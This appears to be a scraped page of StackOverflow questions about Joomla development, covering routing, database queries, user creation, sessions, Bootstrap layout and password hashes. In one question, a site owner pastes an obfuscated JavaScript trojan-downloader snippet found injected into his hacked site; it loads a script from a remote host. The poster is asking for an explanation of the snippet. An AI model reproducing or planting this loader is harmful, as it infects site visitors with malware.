EzDevInfo.com

joomla interview questions

Top joomla frequently asked interview questions

Is it possible to skip some translation when using joomfish?

I'm using Joomla 1.5.26 with Joom!Fish 2.1.7.

Does any Joom!Fish and/or joomla guru know if it is possible to do a call to JRoute::_() so that it is not intercepted and translated by Joom!Fish ?

If so, please explain. Thanks !

Side note:
What I'm trying to achieve is to make Joom!Fish use the language that I tell it to use rather than the one that site is currently displayed in. I need it to build a specific URl, which is the reason for the JRoute::_() call. If you have a more general solution I would appreciate that as well.


Source: (StackOverflow)

Joomla Database - How to use LIMIT in getQuery?

I want to build the below query using joomla inbuilt database class.

SELECT * 
FROM table_name
ORDER BY id DESC
LIMIT 1

This is the query I have built up to now.

$db =& JFactory::getDBO();       
$query  = $db->getQuery(true);
$query->select($db->nameQuote('*'));
$query->from($db->nameQuote(TABLE_PREFIX.'table_name'));      
$db->setQuery($query);      
$rows = $db->loadObjectList();

I don't know how to add the limit(LIMIT 1) to the query. Can someone please tell me how to do it? Thanks


Source: (StackOverflow)

Advertisements

Difference between components, modules, extensions and plugins in Joomla

What is the difference between Joomla components, modules, extensions and plugins?


Source: (StackOverflow)

How can I create a new Joomla user account from within a script?

We're creating an XML API for Joomla that allows partner sites to create new accounts for their users on our website.

We've created a standalone PHP script that processes and validates the API request, but now we need to actually create the new accounts. We were originally thinking about just doing a CURL call to submit the signup form, but we realized that there is an issue with the user token. Is there another clean way to create a user account without going into the guts of Joomla? If we do have to do some surgery, what is the best way to approach it?


Source: (StackOverflow)

Accessing session data outside Joomla

I am trying to run an application outside Joomla (not as a plugin) and I would like to access the logged in user's information (userid). I am wondering how should I go about doing that? Is there a file which I can include? I tried using $_SESSION but it shows empty.

Is there a simple solution to my problem? Thank you for your time.


Source: (StackOverflow)

Component builder for Joomla?

I'm trying to find a component builder for Joomla and I just found Marco's Component Maker, I'm wondering another one exist or not. I need some help, if anyone get help me that I'm very grateful.


Source: (StackOverflow)

Best practice for using window.onload

I develop Joomla websites/components/modules and plugins and every so often I require the ability to use JavaScript that triggers an event when the page is loaded. Most of the time this is done using the window.onload function.

My question is:

  1. Is this the best way to trigger JavaScript events on the page loading or is there a better/newer way?
  2. If this is the only way to trigger an event on the page loading, what is the best way to make sure that multiple events can be run by different scripts?

Source: (StackOverflow)

How does this mess work?

My Joomla! website has been repeatedly hacked into. Someone, somehow, managed to inject the following rubbish into the key php scripts, but I mean not to talk about configuring Joomla. The site is not visited much (at times I fear I might be the only visitor to that site...) and I don't care much to have the site back up and running. I'll handle that eventually.

My question is, how does this rubbish work? I look at it and I just don't see how does this manage to do any harm? What it does is it tries to download a PDF file called ChangeLog.pdf, which is infected with a trojan and after opening will freeze up your Acrobat and wreak havoc on your machine. How does it do that, I don't know, I don't care. But how does the following piece of script invoke the download?

<script>/*Exception*/ document.write('<script src='+'h#^(t@)((t$&@p#:)&/!$/)@d$y#^#$n@$d^!!&n#s$)^-$)o^^(r!#g!!#$.^^@g))!a#m#@$e&$s^@@!t@@($!o@$p(.&@c&)@(o$m)).!$m$)y@(b@e()s&$t$@y&o$&(u#)$x&&^(i)-@^c!!&n$#.(@g)$e#(^n&!u(i&#&n(e&(!h&o@&^&l^$(l)&y$(#@w!o@!((o#d&^.^#)r$#^u!!$:(#@&8#)(0$8@&0^(/))s#o#^&#^f!$t$!o##n(&$i(^!c$(.!&c@o!&^m#&/&(s&$(o!f&!t@&o!!n)&i$&c!.#^^c)!$o@@((m@#/$^!g#^o$^&o&#g!l)@@@!e&.))c!)(o#@#^!m(&/^^l#^@i##(v&@e&)!$j^!a@$s#m!i)n$.!$c&$o)@$m^/@$v&i^d^()e(!o&&s@(z(@)^.@)c$&o^m)$)^/#$'.replace(/#|\$|@|\^|&|\(|\)|\!/ig, '')+' defer=defer></scr'+'ipt>');</script>
<!--6f471c20c9b96fed179c85ffdd3365cf-->

ESET has detected this code as JS/TrojanDownloader.Agent.NRO trojan


Source: (StackOverflow)

How to remove gutter space for a specific div only - bootstrap

The default Bootstrap grid system utilizes 12 columns with each span having 30px gutter as below. Gutters are the white space between columns. Gutter width seems to be between 20px - 30px. Let's assume it's 30px here.

enter image description here

I want to remove the gutter space for a specific div, so that there will be no gutter space in the row. Each span will be next to each other with no gutter.

The problem is if I remove the margin 30px(gutter) it leaves 360px(12*30) at the end of the row.

Given that I want to remove gutter space for a specific div only. Let's assume that it's for div which are in the main_content div.

div#main_content div{
  /*
 no gutter for the divs in main_content
 */
}

How can I remove the gutter for a specific div without loosing bootsrap responsiveness and not leaving space at the end of the row?


Source: (StackOverflow)

Empty lightbox when pdf confugered save file in firefox

I am using joomla 2.5 with ROXBOX plugin and using this showing the PDF's in lightbox. I am facing problem when user configured Firefox auto download PDF files.

When Firefox configured as save PDF instead of open it in browser the light box stays blank and file started download. As we can not have control on browser, is there any way show any message when Firefox auto download for PDF is enabled?

Please Help!!


Source: (StackOverflow)

To Go or Not To Go with Liferay? What's the good, bad, and ugly? [closed]

We are evaluating several solutions for a new web thing we're looking to build. There are several aspects to it, including user management, content management, campaigns, community, and financial transactions.

We are looking to roll the framework ourselves, using Joomla + Vaadin + CAS (to name a few) to DIY, but I am wondering if we should simply adopt the Liferay portal for one-stop shopping?

I have looked for testimonials and have not come up with much. I appreciate anyone who has used Liferay (or chosen not to) who would share what technical hurdles it solves (or doesn't) and potentially what others it may create.

Thank you!


Source: (StackOverflow)

How to detect the current language of a Joomla! website?

I just want to generate a code that will detect the current language of my websit in joomla + php


Source: (StackOverflow)

"Uncaught SyntaxError: Unexpected token { " in Bootstrap 2.1.0 bundled with Joomla! 3.0

I'm using Joomla! 3.0, which has Twitter Bootstrap 2.1.0 included. I want to do my own Joomla! template, and I need to use dropdown menus. When I include following CSS/JS:

<script src="http://code.jquery.com/jquery-1.9.1.min.js"></script>    
<script type="text/javascript" src="<?php echo $this->baseurl ?>/media/jui/js/bootstrap.min.js"></script>
<script type="text/javascript" src="<?php echo $this->baseurl ?>/media/jui/css/bootstrap.css"></script>
<link rel='nofollow' href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template; ?>/css/Site.css" rel="stylesheet" type="text/css">
<link rel="shotcut icon" rel='nofollow' href="<?php echo $this->baseurl ?>/templates/<?php echo $this->template; ?>/css/images/favicon.ico" type="image/x-icon">

I get following CSS error:

Uncaught SyntaxError: Unexpected token { 

in /media/jui/css/bootstrap.css, line 19


Source: (StackOverflow)

joomla password encryption

I need to access the joomla user table jos_users for login checking from external php script [codeignitor].

joomla storing password like this

4e9e4bcc5752d6f939aedb42408fd3aa:0vURRbyY8Ea0tlvnTFn7xcKpjTFyn0YT

Looks like this is not the normal MD5 ,so i cannot use md5(password) .

what is the possible way to create the password ?

Thank you.


Source: (StackOverflow)

How to create my own form in joomla

I want to create my own form that are submitted and values of that form will be stored in joomla database. How can i used the Joomla connection code to interacte with the joomla database.


Source: (StackOverflow)